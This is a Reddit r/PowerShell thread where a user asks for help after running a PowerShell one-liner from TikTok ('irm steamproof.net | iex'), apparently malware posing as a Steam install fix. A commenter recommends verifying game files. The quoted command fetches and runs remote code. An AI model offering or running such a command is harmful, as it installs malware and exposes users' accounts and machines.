r/PowerShell • • Aug 17 '26

Question Help I ran a weird command

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

0 Upvotes

63 comments sorted by

View all comments

Show parent comment

1

u/Icy-Representative85 Aug 17 '26

I do own the game, it was just taking too long to
Install, it took almost 9 hours to download, and about 3 hours to get to 99 percent, for some reason it kept getting stuck there and the installation would eventually fail, tried to look up how to fix it but all i would see was, erase your downloading cache or reset steam and try again, stuff like that, then i decided to look for videos on how to fix it, when i found one where somebody had the same issue, saw a comment on it and it recommended that powershell command, not justifying my stupidity or anything but it really was just a deciscion made by ignorance, i ran the code, without even looking for what it did, after i saw that the error remained, i looked up what the code was and well now im here, i found the code was malicius way too late, thats why i wanted to ask for help on how to fix it, thanks for trying to explain to me what the code did

1

u/MonkeyNin Aug 17 '26

If a steam install fails / is stuck, or a game has random crashes -- often the fix is to use:

verify integrity of game files

That ensures the downloaded files have not been modified or corrupted -- like crashing, losing power, or other issues.

Sometimes clearing the shader cache can fix things. Normally validate is the important one.